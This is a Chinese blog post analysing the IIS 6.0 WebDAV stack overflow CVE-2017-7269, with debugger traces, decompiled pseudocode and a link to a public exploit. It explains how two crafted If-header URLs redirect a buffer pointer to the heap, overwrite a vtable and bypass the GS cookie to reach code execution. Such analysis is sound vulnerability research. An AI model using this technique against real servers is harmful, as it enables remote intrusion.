轉載請注明出處
作者:k0shl
作者博客:http://whereisk0shl.top


前言

CVE-2017-7269是IIS 6.0中存在的一個棧溢出漏洞,在IIS6.0處理PROPFIND指令的時候,由于對url的長度沒有進行有效的長度控制和檢查,導致執行memcpy對虛擬路徑進行構造的時候,引發棧溢出,該漏洞可以導致遠程代碼執行。

目前在github上有一個在windows server 2003 r2上穩定利用的exploit,這個exp目前執行的功能是彈計算器,使用的shellcode方法是alpha shellcode,這是由于url在內存中以寬字節形式存放,以及其中包含的一些badchar,導致無法直接使用shellcode執行代碼,而需要先以alpha shellcode的方法,以ascii碼形式以寬字節寫入內存,然后再通過一小段解密之后執行代碼。

github地址:https://github.com/edwardz246003/IIS_exploit

這個漏洞其實原理非常簡單,但是其利用方法卻非常有趣,我在入門的時候調試過很多stack overflow及其exp,但多數都是通過覆蓋ret,覆蓋seh等方法完成的攻擊,直到我見到了這個exploit,感覺非常藝術。但這個漏洞也存在其局限性,比如對于aslr來說似乎沒有利用面,因此在高版本windows server中利用似乎非常困難,windows server 2003 r2沒有aslr保護。

在這篇文章中,我將首先簡單介紹一下這個漏洞的利用情況;接著,我將和大家一起分析一下這個漏洞的形成原因;然后我將給大家詳細介紹這個漏洞的利用,最后我將簡要分析一下這個漏洞的rop及shellcode。

我是一只菜鳥,如有不當之處,還望大家多多指正,感謝閱讀!


彈彈彈--一言不合就“彈”計算器

漏洞環境搭建

漏洞環境的搭建非常簡單,我的環境是windows server 2003 r2 32位英文企業版,安裝之后需要進入系統配置一下iis6.0,首先在登陸windows之后,選擇配置服務器,安裝iis6.0服務,之后進入iis6.0管理器,在管理器中,有一個windows擴展,在擴展中有一個webdav選項,默認是進入用狀態,在左側選擇allow,開啟webdav,之后再iis管理器中默認網頁中創建一個虛擬目錄(其實這一步無所謂),隨后選擇run->services.msc->WebClient服務,將其開啟,這樣完成了我的配置。

觸發漏洞

漏洞觸發非常簡單,直接在本地執行python exp.py即可,這里為了觀察過程,我修改了exp,將其改成遠程,我們通過wireshark抓包,可以看到和目標機的交互行為。

可以看到,攻擊主機向目標機發送了一個PROPFIND數據包,這個是負責webdav處理的一個指令,其中包含了我們的攻擊數據,一個<>包含了兩個超長的httpurl請求,其中在兩個http url中間還有一個lock token的指令內容。

隨后我們可以看到,在靶機執行了calc,其進程創建在w2wp進程下,用戶組是NETWORK SERVICE。

2

我在最開始的時候以為這個calc是由于SW_HIDE的參數設置導致在后臺運行,后來發現其實是由于webdav服務進程本身就是無窗口的,導致calc即使定義了SW_SHOWNORMAL,也只是在后臺啟動了。

事實上,這個漏洞及時沒有后面的<>中的http url,單靠一個IF:<>也能夠觸發,而之所以加入了第二個<>以及lock token,是因為作者想利用第一次和第二次http請求來完成一次精妙的利用,最后在指令下完成最后一擊。

我嘗試去掉第二次<>以及請求,同樣能引發iis服務的crash。

3


CVE-2017-7269漏洞分析


這個漏洞的成因是在WebDav服務動態鏈接庫的httpext.dll的ScStorageFromUrl函數中,這里為了方便,我們直接來跟蹤分析該函數,在下一小節內容,我將和大家來看看整個精妙利用的過程。我將先動態分析整個過程,然后貼出這個存在漏洞函數的偽代碼。

在ScStorageFromUrl函數中,首先會調用ScStripAndCheckHttpPrefix函數,這個函數主要是獲取頭部信息進行檢查以及對host name進行檢查。

0:009> p//調用CchUrlPrefixW獲取url頭部信息
eax=67113bc8 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024          call    dword ptr [eax+24h]  ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW (6712c72a)}
0:009> p
eax=00000007 ebx=00fffbe8 ecx=00fff4cc edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f6 esp=00fff4b8 ebp=00fff4d0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStripAndCheckHttpPrefix+0x21:
671335f6 8bd8            mov     ebx,eax
0:009> dc esi l6//esi存放頭部信息,以及server name,這個localhost會在后面獲取到。
0060c648  00740068 00700074 002f003a 006c002f  h.t.t.p.:././.l.
0060c658  0063006f 006c0061                    o.c.a.l.

在check完http頭部和hostname之后,會調用wlen函數獲取當前http url長度。

0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce8 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStoragePathFromUrl+0x6d:
67126ce8 50              push    eax
0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce9 esp=00fff32c ebp=00fff798 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
67126ce9 ff1550121167    call    dword ptr [httpext!_imp__wcslen (67111250)] ds:0023:67111250={msvcrt!wcslen (77bd8ef2)}
0:009> r eax
eax=0060e7d0
0:009> dc eax
0060e7d0  0062002f 00620062 00620062 00620062  /.b.b.b.b.b.b.b.
0060e7e0  61757948 6f674f43 48456b6f 67753646  HyuaCOgookEHF6ug
0060e7f0  38714433 5a625765 56615435 6a536952  3Dq8eWbZ5TaVRiSj
0060e800  384e5157 63555948 43644971 34686472  WQN8HYUcqIdCrdh4
0060e810  71794758 6b55336b 504f6d48 34717a46  XGyqk3UkHmOPFzq4
0060e820  74436f54 6f6f5956 34577341 7a726168  ToCtVYooAsW4harz
0060e830  4d493745 5448574e 367a4c38 62663572  E7IMNWHT8Lz6r5fb
0060e840  486d6e43 61773548 61744d5a 43654133  CnmHH5waZMta3AeC
0:009> p
eax=000002fd ebx=0060b508 ecx=00600000 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cef esp=00fff32c ebp=00fff798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x74:
67126cef 59              pop     ecx
0:009> r eax
eax=000002fd

在利用的關鍵一次,我們獲取的是poc中http://localhost/bbbbb 的字符串,這個字符串長度很長,可以看到eax寄存器存放的是url長度,長度是0x2fd,隨后會進入一系列的判斷,主要是檢查url中一些特殊字符,比如0x2f。

0:009> g//eax存放的是指向url的指針,這里會獲取指針的第一個字符,然后和“/”作比較
Breakpoint 1 hit
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cd7 esp=00fff334 ebp=00fff798 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStoragePathFromUrl+0x5c:
67126cd7 6683382f        cmp     word ptr [eax],2Fh       ds:0023:0060e7d0=002f
0:009> dc eax
0060e7d0  0062002f 00620062 00620062 00620062  /.b.b.b.b.b.b.b.
0060e7e0  61757948 6f674f43 48456b6f 67753646  HyuaCOgookEHF6ug

經過一系列的檢查之后,會進入一系列的memcpy函數,主要就是用來構造虛擬文件路徑,這個地方拷貝的長度沒有進行控制,而拷貝的目標地址,是在外層函數調用stackbuff申請的地址,這個地址會保存在棧里。在ScStorageFromUrl函數中用到,也就是在memcpy函數中用到,作為目的拷貝的地址。

ScStorageFromUrl函數中實際上在整個漏洞觸發過程中會調用很多次,我們跟蹤的這一次,是在漏洞利用中的一個關鍵環節之一。首先我們來看一下第一次有效的memcpy

0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00000012 edi=680312c0
eip=67126fa9 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl+0x32e:
67126fa9 8db5c4fbffff    lea     esi,[ebp-43Ch]
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00fff35c edi=680312c0
eip=67126faf esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl+0x334:
67126faf f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:009> r esi
esi=00fff35c
0:009> dc esi
00fff35c  003a0063 0069005c 0065006e 00700074  c.:.\.i.n.e.t.p.
00fff36c  00620075 0077005c 00770077 006f0072  u.b.\.w.w.w.r.o.
00fff37c  0074006f 0062005c 00620062 00620062  o.t.\.b.b.b.b.b.
00fff38c  00620062 61757948 6f674f43 48456b6f  b.b.HyuaCOgookEH

這次memcpy拷貝過程中,會將esi寄存器中的值拷貝到edi寄存器中,可以看到edi寄存器的值是0x680312c0,這個值很有意思,在之前我提到過,這個buffer的值會在外層函數中申請,并存放在棧中,因此正常情況應該是向一個棧地址拷貝,而這次為什么會向一個堆地址拷貝呢?

這是個懸念,也是我覺得這個利用巧妙的地方,下面我們先進入后面的分析,在memcpy中,也就是rep movs中ecx的值決定了memcpy的長度,第一次拷貝的長度是0x9。

接下來,回進入第二次拷貝,這次拷貝的長度就比較長了。

0:009> p//長度相減,0x2fd-0x0
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc4 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStoragePathFromUrl+0x349:
67126fc4 2bda            sub     ebx,edx
0:009> r ebx
ebx=000002fd
0:009> r edx
edx=00000000
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc6 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x34b:
67126fc6 8d3456          lea     esi,[esi+edx*2]
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc9 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x34e:
67126fc9 8b95b0fbffff    mov     edx,dword ptr [ebp-450h] ss:0023:00fff348=680312c0
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fcf esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x354:
67126fcf 8d3c10          lea     edi,[eax+edx]
0:009> p//ecx的值為dword值
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd2 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x357:
67126fd2 8d4c1b02        lea     ecx,[ebx+ebx+2]
0:009> p
eax=00000024 ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd6 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x35b:
67126fd6 8bc1            mov     eax,ecx
0:009> p//最后拷貝的長度再除以4
eax=000005fc ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd8 esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x35d:
67126fd8 c1e902          shr     ecx,2
0:009> p//這次拷貝17f的值 key!!!看ecx
eax=000005fc ebx=000002fd ecx=0000017f edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fdb esp=00fff330 ebp=00fff798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

可以看到,這次拷貝的長度是0x17f,長度非常大,而在整個分析的過程中,并沒有對拷貝的長度進行控制,因此,可以拷貝任意超長的字符串,進入這個堆空間。

這個堆空間非常有意思,存放的是一個vftable,這個vftable會在ScStorageFromUrl函數中的某個內層函數調用調用到,還記得之前分析的ScStripAndCheckHttpPrefi函數嗎。

0:009> p//正常情況ScStripAndCheckHttpPrefix函數中對vftable的獲取
eax=00fff9a4 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335e8 esp=00fff4b8 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x13:
671335e8 8b07            mov     eax,dword ptr [edi]  ds:0023:00605740={httpext!CEcb::`vftable' (67113bc8)}

獲取完虛表之后,會獲取到對應的虛函數,在ScStripAndCheckHttpPrefix函數中call調用到。但是由于之前的memcpy覆蓋,導致這個vftable被覆蓋。

0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f0 esp=00fff4b4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1b:
671335f0 8955f4          mov     dword ptr [ebp-0Ch],edx ss:0023:00fff4c4=00000000
0:009> p//eax是vftable,而call [eax+24]調用虛函數,這里由于之前的覆蓋,導致跳轉到可控位置
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024          call    dword ptr [eax+24h]  ds:0023:680313e4=68016082
0:009> dc eax
680313c0  680313c0 68006e4f 68006e4f 766a4247  ...hOn.hOn.hGBjv
680313d0  680313c0 4f744257 52345947 4b424b66  ...hWBtOGY4RfKBK

這個漏洞的原理非常簡單,在PROPFIND中,由于對http的長度沒有進行檢查,導致在memcpy中,可以拷貝超長的字符串,覆蓋到棧中的關鍵位置,下面來看一下偽代碼。

__int32 __fastcall ScStoragePathFromUrl(const struct IEcb *a1, wchar_t *a2, unsigned __int16 *a3, unsigned int *a4, struct CVRoot **a5)
{
  v35 = a3;
  v5 = a1;
  Str = a2;
  v37 = (int)a1;
  v34 = a4;
  v33 = a5;
  result = ScStripAndCheckHttpPrefix(a1, (const unsigned __int16 **)&Str);//主要用來檢查開頭信息,比如http頭以及host等等
  if ( result < 0 )
    return result;
  if ( *Str != 47 )//判斷第一個值是不是/
    return -2146107135;
  v7 = _wcslen(Str);//獲取str長度,也就是畸形url長度
  result = IEcbBase::ScReqMapUrlToPathEx(Str, WideCharStr);
  v36 = result;
  if ( result < 0 )
    return result;
  v8 = (*(int (__thiscall **)(const struct IEcb *, wchar_t **))(*(_DWORD *)v5 + 52))(v5, &Str1);//httpext!CEcbBaseImpl<IEcb>::CchGetVirtualRootW (6712d665) 獲取虛擬路徑
  if ( v8 == v42 )
  {
    if ( !v8 || Str[v8 - 1] && !__wcsnicmp(Str1, Str, v8) )
      goto LABEL_14;
  }
  else if ( v8 + 1 == v42 )
  {
    v9 = Str[v8];
    if ( v9 == 47 || !v9 )
    {
      --v42;
      goto LABEL_14;
    }
  }
  v36 = 1378295;
LABEL_14:
  if ( v36 == 1378295 && a5 )
  {
    ……
  }
  v16 = v41;
  if ( v41 )
  {
    v17 = (const unsigned __int16 *)((char *)&v39 + 2 * v41 + 2);
    if ( *v17 == 92 )
    {
      while ( v16 && *v17 == 92 && !FIsDriveTrailingChar(v17, v16) )
      {
        v41 = --v16;
        --v17;
      }
    }
    else if ( !*v17 )
    {
      v16 = v41-- - 1;
    }
  }
  v18 = v16 - v42 + v7 + 1;
  v19 = *v34 < v18;
  v37 = v16 - v42 + v7 + 1;
  if ( v19 )
  {
    ……
  }
  else//進入這一處else處理
  {
    v21 = v35;
    v22 = v16;
    v23 = 2 * v16;
    v24 = (unsigned int)(2 * v16) >> 2;
    qmemcpy(v35, WideCharStr, 4 * v24);//拷貝虛擬路徑
    v26 = &WideCharStr[2 * v24];
    v25 = &v21[2 * v24];
    LOBYTE(v24) = v23;
    v27 = v42;
    qmemcpy(v25, v26, v24 & 3);
    v28 = v7 - v27;//這里v7是0x2fd,相減賦值給v28,這個值很大,v27為0
    v29 = &Str[v27];
    v30 = v35;
    qmemcpy(&v35[v22], v29, 2 * v28 + 2);//直接拷貝到棧中,沒有對長度進行檢查,導致溢出
    for ( i = &v30[v41]; *i; ++i )
    {
      if ( *i == 47 )
        *i = 92;
    }
    *v34 = v37;
    result = v36;
  }
  return result;
}

CVE-2017-7269 Exploit!精妙的漏洞利用


其實通過上面的分析,我們發現這個漏洞的 原理非常簡單,但是究竟如何利用呢,我們來看一下關于ScStorageFromUrl函數中,包含了GS check,也就是說,我們在進行常規的覆蓋ret方式利用的情況下,將會把cookie也會覆蓋,導致利用失敗。

.text:67127017 loc_67127017:                           ; CODE XREF: ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+50j
.text:67127017                                         ; ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+67j
.text:67127017                 mov     ecx, [ebp+var_C]
.text:6712701A                 pop     edi
.text:6712701B                 mov     large fs:0, ecx
.text:67127022                 mov     ecx, [ebp+var_10]
.text:67127025                 pop     esi
.text:67127026                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:6712702B                 leave
.text:6712702C                 retn    0Ch

漏洞利用非常精妙,也就是用這種方法,巧妙的繞過了gs的檢查,最后達到漏洞利用,穩定的代碼執行,首先,WebDav對數據包的處理邏輯是在DAVxxx函數中完成的。比如當前數據包是PROPFIND,那么當前的函數處理邏輯就是DAVpropfind函數。

0:009> kb
ChildEBP RetAddr  Args to Child              
00fff798 67119469 680312c0 00fff800 00000000 httpext!ScStoragePathFromUrl
00fff7ac 6712544a 0060e7b0 680312c0 00fff800 httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffc34 6712561e 0060b508 0060584e 00fffc78 httpext!HrCheckIfHeader+0x124
00fffc44 6711f659 0060b508 0060584e 00000001 httpext!HrCheckStateHeaders+0x10
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0xf0
00fffc90 671296f2 0060c010 00000004 01017af8 httpext!DAVPropFind+0x47

在內層的函數處理邏輯中,有一處關鍵的函數處理邏輯HrCheckIfHeader,主要負責DAVPropFind函數對頭部的check,這個函數處理邏輯中有一處while循環,我已經把這個循環的關鍵位置的注釋寫在偽代碼中。

__int32 __stdcall HrCheckIfHeader(struct CMethUtil *a1, const unsigned __int16 *a2)
 while ( 2 )
  {
  v6 = IFITER::PszNextToken(&v20, 0);
    v7 = v6;
    if ( v6 )//這里獲取下一個url值,第一輪會進入這里,第二輪也會,第三輪就進不去了
    {
      CStackBuffer<unsigned short,260>::CStackBuffer<unsigned short,260>(260);
      v9 = (const wchar_t *)(v7 + 2);
      LOBYTE(v34) = 2;
      v27 = _wcslen(v9);
      if ( !CStackBuffer<unsigned short,260>::resize(2 * v27 + 2) )
        goto LABEL_35;
      v5 = ScCanonicalizePrefixedURL(v9, v32, &v27);
      if ( v5 )
        goto LABEL_43;
      v27 = v29 >> 3;
      v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
      if ( v5 == 1 )
      {
        if ( !CStackBuffer<unsigned short,260>::resize(v27) )
        {
LABEL_35:
          LOBYTE(v34) = 1;
          CStackBuffer<char,260>::release(&v31);
          v5 = -2147024882;
          goto LABEL_39;
        }
        v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
      }
      if ( v5 < 0 )
      {
LABEL_43:
        LOBYTE(v34) = 1;
        CStackBuffer<char,260>::release(&v31);
        goto LABEL_39;
      }
      v10 = _wcslen(Str);
      v27 = v10;
      v11 = &Str[v10 - 1];
      if ( *v11 == 62 )
        *v11 = 0;
      v8 = Str;
      LOBYTE(v34) = 1;
      CStackBuffer<char,260>::release(&v31);
    }
    else
    {
      if ( !v25 )//進不去就跳入這里,直接break掉,隨后進入locktoken,會調用sc函數
        goto LABEL_38;
      v8 = (const unsigned __int16 *)v24;
    }
    v25 = 0;
    for ( i = (wchar_t *)IFITER::PszNextToken(&v20, 2); ; i = (wchar_t *)IFITER::PszNextToken(&v20, v19) )
    {
      v17 = i;
      if ( !i )
        break;
      v12 = *i;
      if ( *v17 == 60 )
      {
        v13 = HrValidTokenExpression((int)a1, v17, (int)v8, 0);
      }
      else if ( v12 == 91 )
      {
        if ( !FGetLastModTime(0, v8, (struct _FILETIME *)&v23)
          || !FETagFromFiletime((int)&v23, &String, *((_DWORD *)a1 + 4)) )
        {
LABEL_26:
          if ( v22 )
            goto LABEL_27;
          goto LABEL_30;
        }
        v14 = v17 + 1;
        if ( *v14 == 87 )
          v14 += 2;
        v15 = _wcslen(&String);
        v13 = _wcsncmp(&String, v14, v15);
      }
      else
      {
        v13 = -2147467259;
      }
      if ( v13 )
        goto LABEL_26;
      if ( !v22 )//如果不等于22,則v26為1 continue,這里v22為0
      {
LABEL_27:
        v26 = 1;
        v19 = 3;
        continue;
      }
LABEL_30:
      v26 = 0;
      v19 = 4;
    }
    v2 = 0;
    if ( v26 )//這里進這里
    {
      v6 = IFITER::PszNextToken(&v20, 1);//獲得下一個url部分,第一次處理完,由于后面還有url,所以這里v6會有值,而第二次,這里后面沒有值了
      continue;
    }
    break;
  }

如果看的比較迷糊,可以看我下面的描述,首先這個while函數中,有一個非常有意思的函數PszNextToken,這個函數會連續獲取<>中的http url,直到后面沒有http url,則跳出循環,這也是這個漏洞利用的關鍵條件。

首先,第一次會處理IF后面的第一個http url,這個url就是http://localhost/aaaa ..,這個處理過程,實際上就完成了第一次溢出,首先stackbuffer會通過CStackBuffer函數獲取,獲取到之后,這個值會存放在stack中的一個位置。接下來會進行第一次ScStorageFromUrl,這個地方會對第一個<>中的http url處理。長度是0xa7。

0:009> p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060c64a edi=77bd8ef2
eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7            call    edi {msvcrt!wcslen (77bd8ef2)}//第一次處理aaaa部分,長度只有a7
0:009> dc 60c64a
0060c64a  00740068 00700074 002f003a 006c002f  h.t.t.p.:././.l.
0060c65a  0063006f 006c0061 006f0068 00740073  o.c.a.l.h.o.s.t.
0060c66a  0061002f 00610061 00610061 00610061  /.a.a.a.a.a.a.a.
0060c67a  78636f68 71337761 47726936 4b777a39  hocxaw3q6irG9zwK
0:009> p
eax=000000a7 

這個a7長度很小,不會覆蓋到gs,因此可以通過security check,但是這個a7卻是一個溢出,它超過了stack buffer的長度,會覆蓋到stack中關于stack buffer指針的存放位置。這個位置保存在ebp-328的位置。

0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=67125479 esp=00fff7b8 ebp=00fffc34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!HrCheckIfHeader+0x153:
67125479 ffb5e4fdffff    push    dword ptr [ebp-21Ch] ss:0023:00fffa18=0060c828
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=6712547f esp=00fff7b4 ebp=00fffc34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!HrCheckIfHeader+0x159:
6712547f e8cd3fffff      call    httpext!CMethUtil::ScStoragePathFromUrl (67119451)
0:009> dd ebp-328//注意拷貝的地址,這個90c是scstoragepathfromurl要拷貝的棧地址
00fff90c  00fff804 6711205b 00000013 00fff9c0
00fff91c  671287e7 00000000 000000f0 00000013

可以看到,第一次ScStoragePathFromUrl的時候,拷貝的地址是一個棧地址,通過stackbuffer申請到的,但是由于memcpy引發的棧溢出,導致這個地方值會被覆蓋。

0:009> g//執行結束ScStoragePathFromUrl函數執行返回后
Breakpoint 0 hit
eax=00fff800 ebx=0060b508 ecx=00605740 edx=0060c828 esi=00000001 edi=77bd8ef2
eip=67126c7b esp=00fff79c ebp=00fff7ac iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl:
67126c7b b8150d1467      mov     eax,offset httpext!swscanf+0x14b5 (67140d15)
0:009> g
Breakpoint 3 hit
eax=00000000 ebx=0060b508 ecx=00002f06 edx=00fff804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=00fff7c0 ebp=00fffc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0            mov     esi,eax
0:009> dc fff804//第一次memcpy之后,覆蓋到了90c的位置
00fff804  003a0063 0069005c 0065006e 00700074  c.:.\.i.n.e.t.p.
00fff814  00620075 0077005c 00770077 006f0072  u.b.\.w.w.w.r.o.
00fff824  0074006f 0061005c 00610061 00610061  o.t.\.a.a.a.a.a.
00fff834  00610061 78636f68 71337761 47726936  a.a.hocxaw3q6irG
00fff844  4b777a39 75534f70 48687a4f 6d545663  9zwKpOSuOzhHcVTm
00fff854  39536845 5567506c 33646763 78454630  EhS9lPgUcgd30FEx
00fff864  54316952 6a514c58 42317241 58507035  Ri1TXLQjAr1B5pPX
00fff874  6c473664 546a3539 54435034 50617752  d6Gl95jT4PCTRwaP
0:009> dd fff900
00fff900  5a306272 54485938 02020202 680312c0

經過這次stack buffer overflow,這個值已經被覆蓋,覆蓋成了一個堆地址0x680312c0。接下來進入第二次調用。

0:009> p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060d32a edi=77bd8ef2
eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7            call    edi {msvcrt!wcslen (77bd8ef2)}
0:009> dc 60d32a
0060d32a  00740068 00700074 002f003a 006c002f  h.t.t.p.:././.l.
0060d33a  0063006f 006c0061 006f0068 00740073  o.c.a.l.h.o.s.t.
0060d34a  0062002f 00620062 00620062 00620062  /.b.b.b.b.b.b.b.
0:009> p
eax=0000030d

第二次獲得http://localhost/bbbbb ...的長度,這個長度有0x30d,非常長,但是對應保存的位置變了。

0:009> p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125436 esp=00fff7c0 ebp=00fffc34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!HrCheckIfHeader+0x110:
67125436 50              push    eax
0:009> p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125437 esp=00fff7bc ebp=00fffc34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!HrCheckIfHeader+0x111:
67125437 ffb5d8fcffff    push    dword ptr [ebp-328h] ss:0023:00fff90c=680312c0
0:009> dc ebp-328
00fff90c  680312c0 52566c44 6c6d4b37 585a4f58  ...hDlVR7KmlXOZX
00fff91c  496a7950 4a52584f 664d4150 680313c0  PyjIOXRJPAMf...h
00fff92c  65314834 6e666f43 436c7441 680313c0  4H1eCofnAtlC...h
00fff93c  6a415343 33307052 424c5866 6346704b  CSAjRp03fXLBKpFc

0:009> dd 680312c0//要用到的堆地址,這個地址會在最后用到
680312c0  00000000 00000000 00000000 00000000
680312d0  00000000 00000000 00000000 00000000
680312e0  00000000 00000000 00000000 00000000

可以看到,第二次利用的時候,會把ebp-328這個地方的值推入棧中,這個地方應該是stack buffer的地址,應該是個棧地址,但是現在變成了堆地址,就是由于第一次棧溢出,覆蓋了這個變量。

而這個值,會作為參數傳入ScStorageFromUrl函數,作為memcpy拷貝的值。

這也就解釋了為什么我們在上面分析漏洞的時候,會是向堆地址拷貝,而這一次拷貝,就不需要控制長度了,因為這個地方的值已經是堆地址,再怎么覆蓋,也不會覆蓋到cookie。這里未來要覆蓋IEcb虛表結構。從而達到漏洞利用。這樣,第二次向堆地址拷貝之后,這個堆地址會覆蓋到IEcb的虛表,這個虛表結構會在最后利用時引用到。

